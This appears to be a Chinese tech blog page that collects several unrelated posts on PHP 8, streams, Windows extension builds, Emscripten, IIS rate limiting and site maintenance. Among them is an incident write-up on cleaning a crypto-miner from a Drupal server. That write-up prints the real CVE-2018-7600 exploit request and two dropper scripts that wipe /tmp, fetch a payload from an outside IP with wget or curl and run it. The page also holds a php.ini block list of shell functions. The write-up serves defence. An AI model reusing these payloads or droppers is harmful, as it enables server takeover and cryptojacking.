PHP8正式发布!

PHP 8.0 是 PHP 语言的一个主版本更新。
它包含了很多新功能与优化项, 包括命名参数、联合类型、注解、构造器属性提升、match 表达式、nullsafe 运算符、JIT,并改进了类型系统、错误处理、语法一致性。

PHP 8已于2020年11月26日正式发布,据说最大的亮点是新增了JIT即时编译功能。还有什么惊喜呢?让我们一睹为快。

命名参数

PHP8新增了类似于python的函数命名参数语法

file

原生注释

新增了类似于python的结构化元数据功能。

file

构造函数属性自动成为类属性

从此使得代码可以进一步简化

file

联合类型

file

匹配表达式

file

值为空时的安全使用

file

更符合逻辑的相等

file

内部函数类型错误的一致性

file

最重要的JIT

根据官网的测试, JIT对某些脚本,运算速度可以提高一倍左右.但是对于wordpress/symfony这类应用,几乎没有作用.

file

PHP流处理(stream)

为什么要了解流

一个php程序的本质是读入数据,经过处理后,再输出数据。

graph LR
源数据 --输入--> 处理程序
处理程序 --输出--> 目标数据

php处理程序可以以多个方式读入数据。比如:从文件读入,从http数据源读取,从标准输入读取(php-cli界面要求用户输入数据),从客户端POST BODY读取,从FTP数据源读取......从不同的数据源读取数据可能会有不同的函数,不同的方法。同理,输出数据到不同的位置也会用不同函数,不同的方法。

graph LR
文件数据      --输入--> 处理程序
标准输入数据  --输入--> 处理程序
POST数据      --输入--> 处理程序
远程HTTP数据  --输入--> 处理程序
处理程序 --输出--> 目标文件
处理程序 --输出--> 标准输出
处理程序 --输出--> 浏览器网页
处理程序 --输出--> ......

另一方面,针对大规模数据,因计算机内存限制,不能一次性处理完,因此需要每次处理一段数据,即分片处理数据。

为了以统一的方式解决数据分片读入输出的问题,PHP提出了流(stream)这个概念。

  • 流让我们不用关心具体数据读写协议(即读写数据接口函数)
  • 流可以帮我们减少内存占用量
  • 流可以让我们写出的代码更容易维护

流是什么

流是什么?有人说,流类似于Linux中的管道pipe;有人说,流是对输入输出设备的抽象,也有人说,流是传输数据的一种方式。
但我认为,流实质上涉及到四个个概念:

  • 资源: 数据存放的位置,数据可能存放在本地磁盘,可能存放在远程服务器,可能存放在FTP服务器......
  • 流设备:数据传输的媒介(也就是通常说的流)
  • 流数据:在流设备上传输的数据,是分片数据
  • 处理程序:处理流数据的PHP程序

只有把这几个概念一起理解,才能明白什么是流。打个比方,一个工厂从原料基地,用卡车队从公路上,一趟一趟运输原料到工厂进行加工,并把加工好的产品,用卡车队从公路上,一趟一趟运到代理商仓库。在这里,公路就是流设备,公路上的卡车就是流数据,工厂就是流处理程序,产地的原料和在仓库的产品就是资源,原料到工厂的公路流是输入流,工厂到产品仓库的流是输出流。

回到PHP,流就是用统一的方式来处理可以分片的数据资源的工具.

PHP有哪些流

在PHP中,流可以用scheme://target 这种形式来表示。其中scheme是协议,target随协议不同而各异,下边是常的一些流:

  1. 文件流,也是默认流,用于读写文件。scheme是file(可以省略),target是文件的具体位置,如/etc/resolv.conf 等价于 file:///etc/resolve.conf
  2. http数据流,用于http访问数据资源,形式为通常的网址
  3. 标准输入流,用于读入用户输入数据,即php://input
  4. 标准输出流,用于输出数据到屏幕或者输出数据到html页面,即php://output
  5. 临时数据流,用于存储临时数据,即php://temp

如何对数据流进行操作

打开关闭流

$fp = fopen("test.txt", "rb"); // 只读方式打开一个文件流,用于读取数据
$fp = fopen("php://input", "rb"); // 只读方式打开一个标准输入流,用于从标准输入读取数据
$fp = fopen("php://temp", "rwb"); // 读写方式打开一个临时数据流,用于读写临时数据

fclose($fp); //关闭流

Windows系统编译PHP7扩展

前言

有时候,我们要在windows系统安装一个定制的php扩展,或者PECL官网没有提供windows版编译好的DLL扩展文件,我们就需要自己从源码编译DLL扩展文件。
PHP扩展(Extension)的编译在linux系统编译比较容易一些,但是在windows系统步骤就比较多,本文根据官网文档,以编译php7.3下64位的apcu扩展为例,介绍编译PHP7扩展的步骤。

准备工作

为编译php7扩展,需要准备以下工具和源码:

  1. Visual Studio。如果要编译php7.0或者php7.1扩展,需要安装VS2015;如果需要编译php7.2+扩展需要安装VS2017。
  2. php-sdk-binary-tools。在GitHub下载,选2.20稳定版本。
  3. php稳定版源码。在这里我们选php7.3.23的源码。
  4. 扩展源文件。本文以APCU为例,下载5.1版本
  5. 依赖文件。由于仅仅编译扩展一般不需要编译依赖,此处略过。

在这里要注意的是,如果想要DLL扩展能够复制到已经装好的PHP环境中使用,必须要保证扩展和PHP主运行文件

  • 编译器一致(VS2015/VS2017)
  • 位数一致(32位/64位)
  • 是否线程安全一致(TS/NTS)

Windows系统下64位非线程安全是常用的版本,也是接下来本文要编译的目标。

组织目录

  1. 解压php-sdk-binary-tools,本文解压到G:\php-sdk文件夹
  2. 打开cmd命令行窗口,执行以下命令以初始化相关环境变量,这里我们需要用vs2017生成64位的目标文件
    G:
    cd php-sdk
    G:\php-sdk\phpsdk-vc15-x64.bat
  3. 创建的目录结构,这时候会在php-sdk文件夹下创建phpdev\vc15\x64文件夹,并进入相应文件夹
    phpsdk_buildtree phpdev
  4. 把php7.3源码解压到phpdev\vc15\x64文件夹下,把apcu源码解压到phpdev\vc15\x64\pecl文件夹下。这时候php-sdk目录结构如下所示
    │─bin
    ├─doc
    ├─lib
    ├─msys2
    ├─pgo
    └─phpdev
    └─vc15
        └─x64
            ├─deps
            ├─pecl
            │  └─apcu
            └─php-7.3.23-src

编译扩展

  1. 执行以下命令生成配置文件configure.js
    buildconf
  2. 执行以下命令编译php-cli和apcu扩展,
    configure --disable-all --disable-zts --enable-cli --enable-apcu=shared

    命令的含义是编译生成非线程安全(nts)版本的php-cli和php扩展动态库apcu,禁止编译其它模块和扩展,--disable-zts表示生成非线程安全版本的目标文件。要查看所有可能的命令参数,请执行configure --help

  3. 最后执行编译命令
    nmake

    根据机器配置不同,大概等待3-5分钟,可以在G:\php-sdk\phpdev\vc15\x64\php-7.3.23-src\x64\Release看到生成的扩展文件php_apcu.dll

7

测试验证

把php_apcu文件复制到系统原有的php文件夹下的ext文件夹,并在php.ini启用扩展,执行php -m,可以看到apcu扩展已经启用

参考文章

Docker搭建Emscripten的WebAssembly编译环境

众所周知,javascript是目前制作网页应用最为广泛的脚本语言,它的特点是简单易用,灵活多变。但是javascript毕竟是一门解释型语言,最大的问题就是运行速度比C语言等静态类型语言慢很多。为解决此问题,WebAssembly应运而生。

Docker搭建Emscripten的WebAssembly编译环境

顾名思义,Webassembly就是运行在网页上的“汇编”。既然是“汇编”,那么诸如C/C++,Rust,Go等静态语言就可以通过合适的编译器编译为WebAssembly。

Emscripten是一套广泛应用于C/C++编译为Webassembly的工具集。但由于众所周知的原因,按照网上的方法,这个Emscripten环境很难安装成功。 不过已经有人做好了Emscripten环境的Docker镜像,我们拿来用即可。

按照以下步骤操作即可

printf '#include<iostream> \nint main() { std::cout<<"hello world"<<std::endl; return 0;}' >  helloworld.cpp #写入c++代码到文件
docker run \
  --rm \ #执行完毕后删除容器
  -v $(pwd):/src \ #把当前目录挂载到容器的/src目录
  trzeci/emscripten \ #emscripten环境镜像
  emcc helloworld.cpp -o helloworld.html #编译单文件C++文件
python3 -m http.server 8080 #此时打开localhost:8080即可看到相应页面

Drupal网站捉马记

问题出现

Drupal网站页面打不开了,浏览器显示500错误。 登陆centos服务器,查看CPU,发现有一个apache用户的进程,进程名是[[^$I$^]],占用CPU达到100%。

CPU-100%

显然,网站被入侵了,而且十有八九又是挖矿代码。

照以往的做法,重装系统和网站完事,但没找到问题的根源,指不定什么时候又会出问题。不如这次试试能不能抓到这只马,顺便长长经验。

初次尝试

首先用命令kill -9 进程号,尝试杀死这个进程。杀掉之后,又重新启动起来,没有用。重新启动主机,这个进程还是跳来跳去。

一番百度后,有人说恶意代码可能是开机启动或者定时启动。然后到/etc文件夹下检查了诸如cron.d、rc.d等文件夹下的脚本,发现大多是一些系统服务启动脚本,翻来覆去也没有找到什么有价值的东东。

既然暂时杀不死,那限制它的cpu占用率总该可以吧?又查了一番,还真有个cpulimit的软件能限制这个进程的cpu使用率。

yum install cpulimit
cpulimit -l 1 -p 进程号 & #限制木马进程的cpu占用率为1%

好了,操作起来没那么卡了,但是网站还是一片空白。

再次尝试

既然杀不死这个木马,那能不能定位这个木马程序的位置和代码呢? 还好,从洋洋洒洒的广告中找到了需要的答案。

在/proc/进程号目录下,有当前进程的详细信息。其中的exe指向的文件就是启动这个进程的可执行文件。

proc-num

进入目录,执行ll,发现了,可行性文件在/var/tmp目录下,但后边显示了个deleted。什么情况?狡猾的木马执行起来之后,又把自己删了,让我们无迹可寻,厉害!

不过。。。把tmp目录禁止写入禁止执行,是不是木马就运行不起来了呢? 经过一番设置,然后kill之后,木马进程好像没有了,网站也恢复正常。

但是!!几个小时后,网站又是一片空白--500。

转机出现

折腾了很久很久,还是没有搞定这只马。正当自己考虑要不要重装系统的时候,忽然想到,访问日志文件中会不会有什么蛛丝马迹。毕竟,木马进程是apache用户启动,说明木马没有拿到最高权限,可能就是个webshell。apache访问日志cat一下,cat /var/log/httpd/access_log。

post

这次运气不错,一下子看到一个POST请求有问题。全站都打不开了,显示500错误,但是这个POST请求响应结果竟然是200!!那说明这个请求可能就跟木马有关。

木马分析

这条POST请求的url用解码一下看看,

POST //?q=user/password&name[#post_render][]=system&name[#markup]=kill -9 -1; nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name[#type]=markup

其中有一条shell语句,单独拿出来分析一下

kill -9 -1;  #把自己的父进程杀死?
nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; #wget下载远程脚本并执行
nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name # curl下载远程脚本并执行 

这个脚本是什么呢?下载下来看看

#!/bin/sh
id0="[[^$I$^]]" #这个就是服务器中木马进程的名称
id1="atnd"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"#看看能不能找到木马进程
if [ $? -ne 0 ];then #如果找不到木马进程的话,$?的值就是1,下面就是下载脚本启动进程
kill -9 -1;wget -O - http://164.132.159.56/drupal/bups.sh|sh ;  curl http://164.132.159.56/drupal/bups.jpg|sh ;
else
echo "......."
fi

bups.sh脚本又是什么东东呢?下载下来看看。

#!/bin/sh
id0="[[^$I$^]]" #进程名称
id1="atnd" 
id2="ooo"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"
if [ $? -ne 0 ];then #如果没有找到木马进程,就启动木马
if [ -x "/tmp/" ] || [ -w "/tmp/" ];then
rm -rf /tmp/.*
rm -rf /tmp/*
chmod  777 /tmp/atnd #把文件权限设置行777
wget -O /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
curl -o /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
chmod +x /tmp/`echo $id1`#添加执行权限并执行
/tmp/`echo $id1` &
else
rm -rf /var/tmp/.*
rm -rf /var/tmp/*
chmod 777 /var/tmp/atnd
wget -O /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
curl -o /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
chmod +x /var/tmp/`echo $id1`
/var/tmp/`echo $id1` &
fi
else
echo "Running....."
fi

这一段是下载真正的木马,然后启动它。因为它把/tmp目录权限设置成777了,所以之前尝试禁止写入文件没有效果。

分析了木马了,下边的步骤就是水到渠成了。

问题解决

百度搜索木马的POST请求url,结果发现这是利用了drupal的SA-CORE-2018-002漏洞。这个漏洞可以执行恶意代码,进而完全控制整个网站。

drupal-CVE-2018-7600

按照官方教程更新相关文件。

之后重启服务器,问题消失,网站恢复正常。

IIS动态IP限制抵御CC攻击和网络爬虫

IIS8新增了一个动态IP限制功能,可以限制同一IP的连接数和访问频率。IIS7则可以安装官方模块Dynamic IP Restrictions实现相同功能。

IIS8启用方法

  1. 默认情况下,IIS 8.0是没有安装“IP和域限制”模块的,我们需要到“服务器管理器”中单独安装下。 第四度
  2. 在IIS8点击相应站点,找到IP地址和域限制,双击进入。
  3. 在右边栏点击“编辑动态限制设置”,会弹出相应设置对话框。
  4. 设置同一IP连接数和请求频率,可以根据网站具体情况调整相关参数。

第四度

IIS7安装方法

IIS7默认没有此功能,不过安装官方模块Dynamic IP Restrictions后可以实现相同功能,模块地址在这里,使用方法如下。

  1. 在官网下载对应系统版本的模块,并双击安装,32位版本/64位版本【如果官网地址失效,点此下载】。
  2. 重启iis界面管理器,之后,点击需要设定的网站,可以看到下图所示。 第四度
  3. 双击模块Dynamic IP Restrictions,进入相应设置,可以根据网站实际情况调整。 ![第四度]

批量导出东方财富数据

这是一款浏览器插件,用于把东方财富网上所有分页数据展开成一页,并可以复制到Excel表格中。适用于chrome、360、百度浏览器。

使用方法:

  1. 解压后,用360浏览器打开插件,安装即可。
  2. 插件激活后,每个页面显示至多5000条数据,点击表头,就可以把当前表数据复制到剪贴板,此时打开Excel就可以粘贴到表格中相关数据。

注意:本站发布此工具已经超过一年时间,可能当前已经不再适用,您可以留言发布您的具体需求或者添加站长帮您解决问题

点击下载

2
3

PHP网站eval的禁用

1

禁用PHP网站的某些危险函数可以提高网站的安全性,只需要将相应的函数加入配置文件php.ini的禁用列表:

disable_functions = exec,system,chroot,scandir,chgrp,chown,shell_exec

但是木马中一个很常见的函数eval,却不能用这种方法禁止。因为,就PHP解释器的实现而言,eval本质上是跟require,include地位等同。要禁用eval,必须要在php底层实现。 常用的方法是编译安装php扩展suhosin ,并在配置文件php.ini中加入

suhosin.executor.disable_eval = on

PHP网站bom的清理

有时候,在php网站迁移或者安装结束后,会发现某些页面显示空白,某些验证码图片显示不正常。通常这种情况很有可能是因为使用记事本修改网站配置文件,导致相应文件被记事本添加了BOM头,这是三个二进制为0xEF 0xBB 0xBF的文件标记。 对这种情况,一般有两种方法处理。

  1. 使用专业代码编辑器【如notepad++】修改配置文件,并保存为utf-8无bom格式。
  2. 使用自动脚本自动清理。只需要把以下bom.php上传到网站根目录,并访问http://域名/bom.php 就可以自动清理相应bom,清理完毕后,记得删除相应文件即可。

1

点击此处下载

<?php
//remove the utf-8 boms
header("Content-type: text/html; charset=utf-8");
ini_set('memory_limit','100M');
if (isset($_GET['dir'])){ //config the basedir
    $basedir=$_GET['dir'];
}else{
    $basedir = '.';
}

$auto = 1;

checkdir($basedir);

function checkdir($basedir){
    if ($dh = opendir($basedir)) {
        while (($file = readdir($dh)) !== false) {
            if ($file != '.' && $file != '..'){
                if (!is_dir($basedir."/".$file)) {
                    echo "文件名: $basedir/$file ".checkBOM("$basedir/$file")." <br>";
                }else{
                    $dirname = $basedir."/".$file;
                    checkdir($dirname);
                }
            }
        }
    closedir($dh);
    }
}

function checkBOM ($filename) {
    global $auto;
    $contents = file_get_contents($filename);
    $charset[1] = substr($contents, 0, 1);
    $charset[2] = substr($contents, 1, 1);
    $charset[3] = substr($contents, 2, 1);
    if (ord($charset[1]) == 239 && ord($charset[2]) == 187 && ord($charset[3]) == 191) {
        if ($auto == 1) {
            $rest = substr($contents, 3);
            rewrite ($filename, $rest);
            return ("<font color=red>已经自动移除PHP文件BOM</font>");
        } else {
            return ("<font color=red>文件含BOM</font>");
        }
    }
    else return ("文件无BOM");
}

function rewrite ($filename, $data) {
    $filenum = fopen($filename, "w");
    flock($filenum, LOCK_EX);
    fwrite($filenum, $data);
    fclose($filenum);
}

网站访问速度过慢的解决方案

1

网站建设过程中,有时候会发现网站的访问速度变慢。而网站访问速度过慢会导致访客体验下降,搜索引擎排名下滑,访客数量减少。因此排查原因并提高访问速度就显得尤为重要。

网站访问速度下降通常有以下几种原因:

  1. 网站访问量过大,导致网站CPU、内存、带宽占用过高。解决方案是增加带宽,升级服务器配置。
  2. 网站遭受CC攻击或者有爬虫恶意访问网站。通过查看访问日志,可以发现大量请求记录来自于数量不多的IP,且相应IP没有请求JS、CSS、JPG等静态文件。解决方案是手动或自动封禁相应的IP。
  3. 部分页面需要优化。可能有部分数据库查询性能过差,或者网站使用的某些第三方服务发生异常,拖垮了整个网站的访问速度。解决方案是优化相应代码,更换第三方服务,页面静态化或者添加缓存。
  4. 网站被植入木马。木马程序中的恶意代码占用大量服务器资源,导致网站性能下降。解决方案是查找清理木马代码,并做好安全防护。

结语:通过多方排查,让网站拥有飞一样的速度,一定会提高访客体验,并最大化发挥网站的价值。